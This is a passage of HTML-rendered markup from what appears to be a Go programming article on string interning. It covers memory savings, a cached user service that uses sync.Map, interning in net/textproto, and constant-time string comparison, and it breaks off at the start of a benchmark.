&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;WAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PEACE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FREEDOM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SLAVERY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IGNORANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;STRENGTH&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nx"&gt;c000015220&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c0000146c8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015223&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015228&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c0000146c8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015230&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015237&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c0000146c8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;c000015240&lt;/span&gt;&lt;span class="w"&gt;
           &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;^&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The amount of memory required to store the words decreased from 483016 to 119628 bytes which is more than 4x reduction.&lt;/p&gt;
&lt;p&gt;Moreover, the []byte map key &lt;a class="reference external" href="https://github.com/golang/go/issues/3512" target="_blank"&gt;optimization&lt;/a&gt; helps to avoid expensive heap allocations. The Go compiler recognizes &lt;span class="docutils literal"&gt;si[string(b)]&lt;/span&gt; and performs the lookup operation without allocating a new string and producing garbage.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="example-2-network-services"&gt;
&lt;h3&gt;Example 2: Network services&lt;a class="headerlink" href="#example-2-network-services" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Another example where string interning can be useful is network services. Interning can be applied to some string responses from databases, gRPC or HTTP servers.&lt;/p&gt;
&lt;p&gt;The following snippet caches user information after querying it from a database:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;ID&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;Country&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;userService&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DB&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Map&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;userService&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;QueryRow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SELECT id, country FROM users WHERE id=?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Country&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are about 200 countries as of December 2018, so storing only a single copy of each string can save us memory if the number of users we want to keep in cache is large.&lt;/p&gt;
&lt;p&gt;The user service is called from an HTTP handler, which means the intern pool is required to be safe for concurrent access from multiple goroutines. Luckily Go 1.9 introduced a concurrent map - &lt;a class="reference external" href="https://golang.org/pkg/sync/#Map" target="_blank"&gt;sync.Map&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The user service using a thread-safe version of &lt;span class="docutils literal"&gt;stringInterner&lt;/span&gt;:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Map&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Intern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;interned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LoadOrStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;interned&lt;/span&gt;&lt;span class="p"&gt;.(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;userService&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DB&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Map&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;stringInterner&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;userService&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;QueryRow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SELECT id, country FROM users WHERE id=?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Country&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Country&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;si&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Intern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Country&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// intern country&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;us&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;Keep in mind the intern pool only grows and never shrinks in the implementation above. One way to solve that is by having two maps in the pool (&lt;span class="docutils literal"&gt;current&lt;/span&gt; and &lt;span class="docutils literal"&gt;previous&lt;/span&gt;) and rotating them once in a while.&lt;/p&gt;
&lt;/aside&gt;
&lt;/section&gt;
&lt;section id="usage-in-go-standard-library"&gt;
&lt;h3&gt;Usage in Go standard library&lt;a class="headerlink" href="#usage-in-go-standard-library" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The Go standard library uses interning in a few places, one of them is &lt;a class="reference external" href="https://github.com/golang/go/blob/f5b695030b857b079a4cbcfb79564ff933c0c8f2/src/net/textproto/reader.go#L644" target="_blank"&gt;net/textproto&lt;/a&gt;. &lt;span class="docutils literal"&gt;textproto.Reader&lt;/span&gt; interns common HTTP headers (&lt;span class="docutils literal"&gt;&lt;span class="pre"&gt;Content-Type&lt;/span&gt;&lt;/span&gt;, &lt;span class="docutils literal"&gt;Host&lt;/span&gt;, &lt;span class="docutils literal"&gt;&lt;span class="pre"&gt;User-Agent&lt;/span&gt;&lt;/span&gt;, etc.) to avoid memory allocations.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="string-comparison"&gt;
&lt;h3&gt;String comparison&lt;a class="headerlink" href="#string-comparison" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A decrease in memory usage is not the only advantage of string interning. Interned strings can be compared for equality in constant time. All the compiler needs to do is to check if two pointers are equal (&lt;a class="reference external" href="https://github.com/golang/go/blob/ad4a58e31501bce5de2aad90a620eaecdc1eecb8/src/internal/bytealg/compare_amd64.s#L30" target="_blank"&gt;Go source code&lt;/a&gt;) instead of going through the characters:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;code&gt;TEXT cmpbody&amp;lt;&amp;gt;(SB),NOSPLIT,$0-0
    CMPQ    SI, DI
    JEQ allsame&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I created a benchmark to see the performance difference between interned and non-interned strings:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;strings&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;testing&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;benchmarkStringCompare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;testing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
